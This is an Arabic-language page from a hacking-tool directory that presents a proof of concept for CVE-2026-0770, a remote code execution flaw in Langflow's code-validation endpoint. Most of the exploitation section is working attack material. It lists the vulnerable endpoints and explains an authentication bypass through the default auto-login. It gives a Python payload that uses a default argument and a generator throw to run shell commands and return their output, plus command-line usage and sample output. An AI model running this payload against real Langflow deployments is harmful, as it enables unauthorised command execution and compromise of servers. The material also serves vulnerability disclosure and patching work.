Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-0770-PoC — إثبات المفهوم لـ CVE-2026-0770 - تنفيذ التعليمات البرمجية عن بُعد في Langflow | Kitploit
أدوات/GitHubGitHub/affix/cve-2026-0770-poc
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقحصان طروادة للوصول عن بعد
GitHubaffix/cve-2026-0770-poc

CVE-2026-0770-PoC

إثبات المفهوم لـ CVE-2026-0770 - تنفيذ التعليمات البرمجية عن بُعد في Langflow

عرض المستودع
61منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-0770 - تنفيذ التعليمات البرمجية عن بُعد في Langflow

ملخص

يحتوي Langflow على ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد في الدالة validate_code() الموجودة في src/lfx/src/lfx/custom/validate.py. تستخدم الدالة exec() لتنفيذ كود Python المقدم من المستخدم دون أي عزل (sandboxing)، مما يسمح بتنفيذ أوامر عشوائية على الخادم.

الإصدارات المتأثرة

  • أحدث إصدار من Langflow (حتى 7 فبراير 2026)

ثغرات CVE أخرى

تم تحديد ثغرات مشابهة في دوال ونقاط نهاية ذات صلة:

  • CVE-2026-0772
  • CVE-2026-0771
  • CVE-2026-0769
  • CVE-2026-0768
  • CVE-2026-0767

تفاصيل الثغرة

تقوم الدالة validate_code() بتحليل الكود المقدم من المستخدم وتنفيذ تعريفات الدوال باستخدام :

exec()
root@kitploit:~
# validate.py:66
for node in tree.body:
    if isinstance(node, ast.FunctionDef):
        code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
        exec(code_obj, exec_globals)  # <-- تنفيذ تعليمات برمجية عشوائية

يتضمن سياق exec_globals إمكانية الوصول إلى importlib والدوال المدمجة في Python، مما يسمح للمهاجمين باستيراد وحدات خطيرة (os, subprocess, socket) وتنفيذ أوامر نظام عشوائية.

نقاط النهاية المعرضة للخطر

نقطة النهايةالمصادقةناقل الهجوم
POST /api/v1/validate/codeمطلوبة*إرسال كود مباشر
POST /api/v1/custom_componentمطلوبة*كود في تعريف المكوّن
POST /api/v1/custom_component/updateمطلوبة*كود في تحديث المكوّن
POST /api/v1/webhook/{flow_id}لا شيءتدفق يحتوي على مكوّنات كود
POST /api/v1/build_public_tmp/{flow_id}/flowلا شيءتنفيذ تدفق عام

* يمكن تجاوز المصادقة عندما يكون AUTO_LOGIN=true (الإعداد الافتراضي)

دوال أخرى معرضة للخطر

الدوال التالية في validate.py تستخدم أيضًا exec() بشكل غير آمن:

الدالةالسطرالوصف
validate_code()66تتحقق من كود المستخدم
eval_function()140تقيّم سلاسل الدوال
execute_function()182تنفذ دوال عشوائية
create_function()227تنشئ دوال من الكود
create_class()241-442تنشئ فئات عبر prepare_global_scope() و build_class_constructor()

الاستغلال

خدعة رمي المولّد (Generator Throw Trick)

تنفذ الدالة validate_code() تعريفات الدوال فقط، وليس استدعاءات الدوال. لتحقيق تنفيذ الكود مع استخراج المخرجات، نستغل ترتيب تقييم Python للوسائط الافتراضية.

الرؤية الأساسية: يتم تقييم تعبيرات الوسائط الافتراضية في وقت تعريف الدالة، وليس عند استدعائها.

root@kitploit:~
def foo(x=print("I execute immediately")):
    pass

ومع ذلك، نحتاج إلى استخراج المخرجات عبر استجابة HTTP. تُرجع نقطة النهاية الأخطاء في نص الاستجابة، لذا نحتاج إلى إثارة استثناء يحتوي على مخرجاتنا.

المشكلة: raise عبارة (statement) وليست تعبيرًا (expression)، لذا لا يمكن استخدامها مباشرة في وسيط افتراضي.

الحل: استخدام طريقة .throw() الخاصة بالمولّد، والتي تثير استثناءً وهي تعبير:

root@kitploit:~
(_ for _ in ()).throw(Exception("output here"))

ينشئ هذا مولّدًا فارغًا ويثير استثناءً فورًا. وبدمجه مع lambda لالتقاط مخرجات الأوامر:

root@kitploit:~
def exploit(
    _=(lambda r: (_ for _ in ()).throw(Exception(f"OUTPUT:\n{r.stdout}")))(
        __import__('subprocess').run("id", shell=True, capture_output=True, text=True)
    )
):
    pass

مسار التنفيذ:

  1. ينفذ exec() تعريف الدالة
  2. يتم تقييم الوسيط الافتراضي _=... فورًا
  3. ينفذ subprocess.run() الأمر
  4. تستقبل lambda النتيجة وتستدعي .throw() الخاص بالمولّد
  5. يُثار استثناء يحتوي على مخرجات الأمر
  6. تلتقطه validate_code() وتُرجعه كخطأ في الاستجابة

الاستخدام

root@kitploit:~
python poc.py --target http://localhost:7860 -c "id && whoami && hostname"

الخيارات

العلامةالوصف
-t, --targetعنوان URL الهدف (مطلوب)
-c, --commandالأمر المراد تنفيذه (الافتراضي: id && whoami)
-k, --tokenرمز JWT (اختياري، يستخدم تسجيل الدخول التلقائي افتراضيًا)

مثال على المخرجات (من حاوية Docker langflowai/langflow:latest - 7 فبراير 2026)

root@kitploit:~
[*] Target: http://localhost:7860
[*] Attempting auto-login (default config)...
[+] Auto-login successful!
[*] Executing: id && whoami && hostname
[+] Status: 200
[+] Output:
uid=1000(user) gid=0(root) groups=0(root)
user
53977c93d567

المراجع

  • Langflow GitHub: https://github.com/langflow-ai/langflow
  • الملف المعرض للخطر: src/lfx/src/lfx/custom/validate.py
تنزيل الأداة